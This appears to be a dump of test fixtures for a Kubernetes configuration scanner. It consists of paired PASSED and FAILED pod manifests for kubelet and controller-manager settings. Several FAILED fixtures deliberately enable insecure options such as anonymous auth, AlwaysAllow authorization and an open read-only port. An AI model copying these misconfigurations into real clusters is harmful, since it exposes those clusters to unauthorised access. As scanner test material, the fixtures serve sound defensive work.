    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-pem\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --service-account-private-key-file=public.pem\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerTerminatedPods/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --terminated-pod-gc-threshold=0\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerTerminatedPods/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-missing\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerTerminatedPods/ApiServer-PASSED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-default\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --terminated-pod-gc-threshold\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerTerminatedPods/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --terminated-pod-gc-threshold=55555\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletAnonymousAuth/KubeletAnonymousAuth-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --anonymous-auth=true\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletAnonymousAuth/KubeletAnonymousAuth-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --anonymous-auth=false\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletAuthorizationModeNotAlwaysAllow/KubeletAuthorizationModeNotAlwaysAllow-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --authorization-mode=AlwaysAllow\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletAuthorizationModeNotAlwaysAllow/KubeletAuthorizationModeNotAlwaysAllow-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --authorization-mode=RBAC,node\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletClientCa/KubeletClientCa-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --root-ca-file=test.pem\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletClientCa/KubeletClientCa-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --client-ca-file=/path/to/file\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletCryptographicCiphers/KubeletCryptographicCiphers-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_64_GCM_SHA256\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletCryptographicCiphers/KubeletCryptographicCiphers-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-scheduler\n    tier: control-plane\n  name: kube-scheduler\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\n    image: gcr.io/google_containers/kube-scheduler-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-scheduler\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletHostnameOverride/KubeletHostnameOverride-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --hostname-override=check.io\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletHostnameOverride/KubeletHostnameOverride-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --read-only-port=80\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletKeyFilesSetAppropriate/KubeletKeyFilesSetAppropriate-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --tls-cert-file=test.pem\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletKeyFilesSetAppropriate/KubeletKeyFilesSetAppropriate-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --tls-cert-file=test.pem\n    - --tls-private-key-file=test.key\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletMakeIptablesUtilChains/KubeletMakeIptablesUtilChains-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --make-iptables-util-chains=false\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletMakeIptablesUtilChains/KubeletMakeIptablesUtilChains-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --make-iptables-util-chains=true\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletProtectKernelDefaults/KubeletProtectKernelDefaults-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --protect-kernel-defaults=false\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletProtectKernelDefaults/KubeletProtectKernelDefaults-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --protect-kernel-defaults=true\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletReadOnlyPort/KubeletReadOnlyPort-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --read-only-port=1\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletReadOnlyPort/KubeletReadOnlyPort-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --read-only-port=0\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletStreamingConnectionIdleTimeout/KubeletStreamingConnectionIdleTimeout-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --streaming-connection-idle-timeout=0\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeletStreamingConnectionIdleTimeout/KubeletStreamingConnectionIdleTimeout-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --streaming-connection-idle-timeout=1\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubernetesDashboard/kube-dashboard-FAILED.yaml",
    "content": "---\n# Source: kubernetes-dashboard/templates/serviceaccount.yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  labels:\n    app: kubernetes-dashboard\n    chart: kubernetes-dashboard-1.10.1\n    heritage: Helm\n    release: helm\n  name: helm-kubernetes-dashboard\n  namespace: default\n---\n# Source: kubernetes-dashboard/templates/secret.yaml\napiVersion: v1\nkind: Secret\nmetadata:\n  labels:\n    app: kubernetes-dashboard\n    chart: kubernetes-dashboard-1.10.1\n    heritage: Helm\n    release: helm\n  name: helm-kubernetes-dashboard\n  namespace: default\ntype: Opaque\n---\n# Source: kubernetes-dashboard/templates/role.yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  labels:\n    app: kubernetes-dashboard\n    chart: kubernetes-dashboard-1.10.1\n    heritage: Helm\n    release: helm\n  name: helm-kubernetes-dashboard\n  namespace: default\nrules:\n  # Allow Dashboard to create 'kubernetes-dashboard-key-holder' secret.\n- apiGroups:\n    - \"\"\n  resources:\n    - secrets\n  verbs:\n    - create\n\n  # Allow Dashboard to create 'kubernetes-dashboard-settings' config map.\n- apiGroups:\n    - \"\"\n  resources:\n    - configmaps\n  verbs:\n    - create\n\n  # Allow Dashboard to get, update and delete Dashboard exclusive secrets.\n- apiGroups:\n    - \"\"\n  resources:\n    - secrets\n  resourceNames:\n    - kubernetes-dashboard-key-holder\n    - helm-kubernetes-dashboard\n  verbs:\n    - get\n    - update\n    - delete\n\n  # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.\n- apiGroups:\n    - \"\"\n  resources:\n    - configmaps\n  resourceNames:\n    - kubernetes-dashboard-settings\n  